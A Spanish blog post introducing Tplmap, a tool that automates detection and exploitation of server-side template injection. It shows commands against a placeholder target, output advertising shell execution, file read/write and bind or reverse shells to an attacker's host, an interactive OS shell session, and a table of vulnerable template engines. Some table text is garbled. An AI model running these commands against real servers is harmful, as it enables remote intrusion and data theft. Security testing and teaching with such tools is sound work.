Tplmap es una herramienta que automatiza la detección y explotación de vulnerabilidades. Por el lado del servidor utiliza inyecciones SSTI para romper una sandbox y lograr ejecuciones remotas en el sistema operativo.

herramienta

La tool también se puede utilizar para realizar pruebas y aprender más sobre la vulnerabilidad SSTI.

Las técnicas que utiliza para romper las sandbox provienen de investigaciones de James Kett como «RCE para el moderno Web App«, entre otras obras para extender la capacidad de esta herramienta.

Esta herramienta es una nueva especie de SQLMap que sirve para probar tecnologías que usan template engine, como jinja, flask, jade, etc.

Uso de la herramienta:

$ ./tplmap.py -u 'http://www.target.com/app?id=7'
[+] Tplmap 0.2
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'id' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jade plugin is testing rendering with tag '\n= *\n'
[+] Jade plugin has confirmed injection with tag '\n= *\n'
[+] Tplmap identified the following injection point:

  GET parameter: id
  Engine: Jade
  Injection: \n= *\n
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Code evaluation: yes, javascript code
   Shell command execution: yes
   File write: yes
   File read: yes
   Bind and reverse shell: yes

[+] Rerun tplmap providing one of the following options:

    --os-shell or --os-cmd to execute shell commands via the injection
    --upload LOCAL REMOTE to upload files to the server
    --download REMOTE LOCAL to download remote files
    --bind-shell PORT to bind a shell on a port and connect to it
    --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT

$ ./tplmap.py -u 'http://www.target.com/app?id=7' --os-shell

[+] Run commands on the operating system.

linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r--  1 root  wheel  5925 16 Sep  2015 /etc/passwd
linux $

render/blindSiJavaScriptSiSirender/blindSiPHPSiSirender/blindSiPHPSiSi

Plantillas Técnicas Ejecución de comandos Evaluacion de código Lectura de archivos Escritura de archivos
Mako render/blind Si Python Si Si
Jinja2 render/blind Si Python Si Si
Python (generic) render/blind Si Python Si Si
Nunjucks render/blind Si JavaScript Si Si
Jade render/blind Si JavaScript Si Si
doT render/blind Si JavaScript Si Si
Marko render/blind Si JavaScript Si Si
JavaScript (generic) render/blind Si JavaScript Si Si
Dust (<= [email protected])
Smarty (unsecured)
PHP (generic)
Freemarker render/blind Si No Si Si
Velocity render/blind Si No Si Si
Twig render No No No No
Smarty (secured) render No No No No
Dust (> [email protected]) render No No No No

 

Descarga: https://github.com/epinna/tplmap

Creditos: Caffeine

Posts Relacionados

Comments

comments

Deja una respuesta

Tu email no será publicado. Los campos requeridos estan marcados con *
Puedes usar tags HTML y los atributos: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>